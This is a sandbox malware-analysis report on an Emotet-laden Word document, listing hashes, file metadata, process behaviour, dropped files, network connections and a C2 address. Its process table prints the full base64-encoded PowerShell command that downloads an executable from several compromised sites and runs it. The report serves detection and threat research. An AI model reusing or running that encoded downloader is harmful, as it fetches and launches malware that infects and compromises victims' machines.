analyze malware
- Huge database of samples and IOCs
- Custom VM setup
- Unlimited submissions
- Interactive approach
| File name: | INF_85966171207.doc |
| Full analysis: | https://app.any.run/tasks/e0596307-d84c-45d0-8178-a8efd7356c51 |
| Verdict: | Malicious activity |
| Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
| Analysis date: | May 24, 2019, 04:55:46 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Decentralized Guyana Direct, Subject: haptic, Author: Destin Stroman, Comments: Savings Account TCP, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Thu May 23 09:17:00 2019, Last Saved Time/Date: Thu May 23 09:17:00 2019, Number of Pages: 1, Number of Words: 15, Number of Characters: 91, Security: 0 |
| MD5: | 82501DA7F78C88C86FE8D5639DD6192B |
| SHA1: | C28CE605B2B2FA05C04D51FEEDF8BE5BD6EE9BD6 |
| SHA256: | A256BD0D2B753236540EB72BEA07233EB92DF853D6E1DDC9503381E77C115B95 |
| SSDEEP: | 3072:pU77HUUUUUqF2xk5+pUUUUUUUUUUUUUTkOQeyu5U8qSPST:pU77HUUUUUqF2xk5+pUUUUUUUUUUUUUw |
MALICIOUS
Application was dropped or rewritten from another process
- 163.exe (PID: 3120)
- 163.exe (PID: 2652)
- soundser.exe (PID: 3388)
- soundser.exe (PID: 3596)
Emotet process was detected
- soundser.exe (PID: 3388)
Changes the autorun value in the registry
- soundser.exe (PID: 3596)
EMOTET was detected
- soundser.exe (PID: 3596)
Connects to CnC server
- soundser.exe (PID: 3596)
SUSPICIOUS
PowerShell script executed
- powershell.exe (PID: 2796)
Executed via WMI
- powershell.exe (PID: 2796)
Creates files in the user directory
- powershell.exe (PID: 2796)
Executable content was dropped or overwritten
- powershell.exe (PID: 2796)
- 163.exe (PID: 3120)
Application launched itself
- 163.exe (PID: 2652)
Starts itself from another location
- 163.exe (PID: 3120)
INFO
Creates files in the user directory
- WINWORD.EXE (PID: 1216)
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 1216)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (54.2) |
|---|---|---|
| .doc | | | Microsoft Word document (old ver.) (32.2) |
EXIF
FlashPix
| Title: | Decentralized Guyana Direct |
|---|---|
| Subject: | haptic |
| Author: | Destin Stroman |
| Keywords: | - |
| Comments: | Savings Account TCP |
| Template: | Normal.dotm |
| LastModifiedBy: | - |
| RevisionNumber: | 1 |
| Software: | Microsoft Office Word |
| TotalEditTime: | - |
| CreateDate: | 2019:05:23 08:17:00 |
| ModifyDate: | 2019:05:23 08:17:00 |
| Pages: | 1 |
| Words: | 15 |
| Characters: | 91 |
| Security: | None |
| CodePage: | Windows Latin 1 (Western European) |
| Company: | Huel - Reilly |
| Lines: | 1 |
| Paragraphs: | 1 |
| CharCountWithSpaces: | 105 |
| AppVersion: | 16 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | - |
| HeadingPairs: |
|
| Manager: | Bergstrom |
| CompObjUserTypeLen: | 32 |
| CompObjUserType: | Microsoft Word 97-2003 Document |
Total processes
40
Monitored processes
6
Malicious processes
5
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 1216 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\INF_85966171207.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
| 2796 | powershell -nop -e JABKAFcAagBNAFIAcQBiAD0AJwB6AFIAdgBxAE8AYwBXAEQAJwA7ACQAYQBmAGkARABhAHoAYQAgAD0AIAAnADEANgAzACcAOwAkAGkAbABXAEwASwBxADgAdwA9ACcAcQBhAHQAQQBuAGEAWQBEACcAOwAkAFoAagA0ADgAdABHAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABhAGYAaQBEAGEAegBhACsAJwAuAGUAeABlACcAOwAkAFgAbQBDAEoAQgBvADEAUQA9ACcAUwBuAEIAbgAwAGsAXwBWACcAOwAkAEwAUABVAG8ANgB2AD0ALgAoACcAbgAnACsAJwBlACcAKwAnAHcALQBvAGIAagBlAGMAdAAnACkAIABOAGAAZQB0AC4AYABXAGAAZQBCAEMAbABJAGUAYABOAFQAOwAkAFkAZABqAEwAYwBVAD0AJwBoAHQAdABwAHMAOgAvAC8AbQBhAHIAawBlAHQAaQBuAGcANgA2ADYALgBjAG8AbQAvAHcAbwByAGQAcAByAGUAcwBzAC8AdQBkAG8AOQBuADUAcABfAGEAaAA3ADkAYQBnAHEAdAAtADgANQA0ADgANAAyAC8AQABoAHQAdABwADoALwAvAHMAdABhAG0AcABhADMAZABwAGwAdQBzAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AQgBVAGoARABvAEIATgBsAG4ALwBAAGgAdAB0AHAAcwA6AC8ALwBpAG0AaQBzADIALgB0AG8AcAAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBuADcANQA4AGoAZwByADYAdwBzAF8AOABhAHcAdQA3AGcAZgBvADcAMwAtADEAMAAzADUANwAxADgANgAvAEAAaAB0AHQAcABzADoALwAvAGMAbwBvAGwAagBhAG0ALgBzAGQAcwBzAG8AZgB0AGwAdABkAC4AYwBvAC4AdQBrAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AeAA1AGYAZABhAHgAXwBjAHgAMQA2AHEAYgBjADIALQA3ADcANgAzADgANQAwAC8AQABoAHQAdABwADoALwAvAGoAaABhAGIAdQBhAHQAbwB1AHIAaQBzAG0ALgBjAG8AbQAvAG4AbQBsADAALwBuAHkAZQBQAHoAdwBtAHEATABUAC8AJwAuAFMAUABMAGkAVAAoACcAQAAnACkAOwAkAGwAcABVADQASQAyAEMAPQAnAEIAMABBADgAaQBiADAAJwA7AGYAbwByAGUAYQBjAGgAKAAkAGYAMgBPAGoAdwB3ACAAaQBuACAAJABZAGQAagBMAGMAVQApAHsAdAByAHkAewAkAEwAUABVAG8ANgB2AC4ARABvAFcATgBMAG8AYQBEAEYAaQBsAEUAKAAkAGYAMgBPAGoAdwB3ACwAIAAkAFoAagA0ADgAdABHACkAOwAkAEgAaAAxAHEAcQBUAD0AJwBWAEYAQwBDAGIAQwAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0AJwArACcASQAnACsAJwB0AGUAbQAnACkAIAAkAFoAagA0ADgAdABHACkALgBsAEUATgBHAHQASAAgAC0AZwBlACAAMgAwADYANQAzACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBTAHQAQQBSAHQAKAAkAFoAagA0ADgAdABHACkAOwAkAG8AUwBLAEIASwBsAD0AJwBEAHUAVwByAGQATABfACcAOwBiAHIAZQBhAGsAOwAkAEoAZgB6AEMAXwBBAGIAOAA9ACcAagBqAGwANwA5AFUAYgBwACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEoAMAA3AG8AQgBsAGsAPQAnAHcANgBDAEEAbwAzAGgAJwA= | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wmiprvse.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 2652 | "C:\Users\admin\163.exe" | C:\Users\admin\163.exe | — | powershell.exe |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
| 3120 | --d06442ac | C:\Users\admin\163.exe | 163.exe | |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
| 3388 | "C:\Users\admin\AppData\Local\soundser\soundser.exe" | C:\Users\admin\AppData\Local\soundser\soundser.exe | 163.exe | |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
| 3596 | --3ab57678 | C:\Users\admin\AppData\Local\soundser\soundser.exe | soundser.exe | |
User: admin Integrity Level: MEDIUM | ||||
Total events
1 725
Read events
1 233
Write events
0
Delete events
0
Modification events
Executable files
2
Suspicious files
6
Text files
0
Unknown types
9
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 1216 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR4077.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2796 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\N5QPOY6XAVIAQFXYW3PO.temp | — | |
MD5:— | SHA256:— | |||
| 2796 | powershell.exe | C:\Users\admin\AppData\Local\Temp\Cab5AD5.tmp | — | |
MD5:— | SHA256:— | |||
| 2796 | powershell.exe | C:\Users\admin\AppData\Local\Temp\Tar5AD6.tmp | — | |
MD5:— | SHA256:— | |||
| 2796 | powershell.exe | C:\Users\admin\AppData\Local\Temp\Cab5AE7.tmp | — | |
MD5:— | SHA256:— | |||
| 2796 | powershell.exe | C:\Users\admin\AppData\Local\Temp\Tar5AE8.tmp | — | |
MD5:— | SHA256:— | |||
| 2796 | powershell.exe | C:\Users\admin\AppData\Local\Temp\Cab5B66.tmp | — | |
MD5:— | SHA256:— | |||
| 2796 | powershell.exe | C:\Users\admin\AppData\Local\Temp\Tar5B67.tmp | — | |
MD5:— | SHA256:— | |||
| 1216 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\E41E09D6.wmf | wmf | |
MD5:9BF229BF861FC9ABCE498ABC02E82EE5 | SHA256:6C94373A630F6A9624694519CAC0C9EA1BA5A76BA3D04FB862AF92BFEF20D13B | |||
| 1216 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\760772EA.wmf | wmf | |
MD5:2D996285BD34C31B9E64B14B7BADACD3 | SHA256:061AA46A4E9B3B1D63937116FFA47AA359F78A24E564C433396A0F1663BD1899 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
3
DNS requests
2
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
3596 | soundser.exe | POST | 200 | 104.131.11.150:8080 | http://104.131.11.150:8080/acquire/tpt/ringin/merge/ | US | binary | 148 b | malicious |
2796 | powershell.exe | GET | 200 | 93.184.221.240:80 | http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab | US | compressed | 56.1 Kb | whitelisted |
2796 | powershell.exe | GET | 200 | 93.184.221.240:80 | http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/DF3C24F9BFD666761B268073FE06D1CC8D4F82A4.crt | US | der | 914 b | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3596 | soundser.exe | 104.131.11.150:8080 | — | Digital Ocean, Inc. | US | malicious |
2796 | powershell.exe | 120.78.168.115:443 | marketing666.com | Hangzhou Alibaba Advertising Co.,Ltd. | CN | unknown |
2796 | powershell.exe | 93.184.221.240:80 | www.download.windowsupdate.com | MCI Communications Services, Inc. d/b/a Verizon Business | US | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
marketing666.com |
| unknown |
www.download.windowsupdate.com |
| whitelisted |
Threats
3 ETPRO signatures available at the full report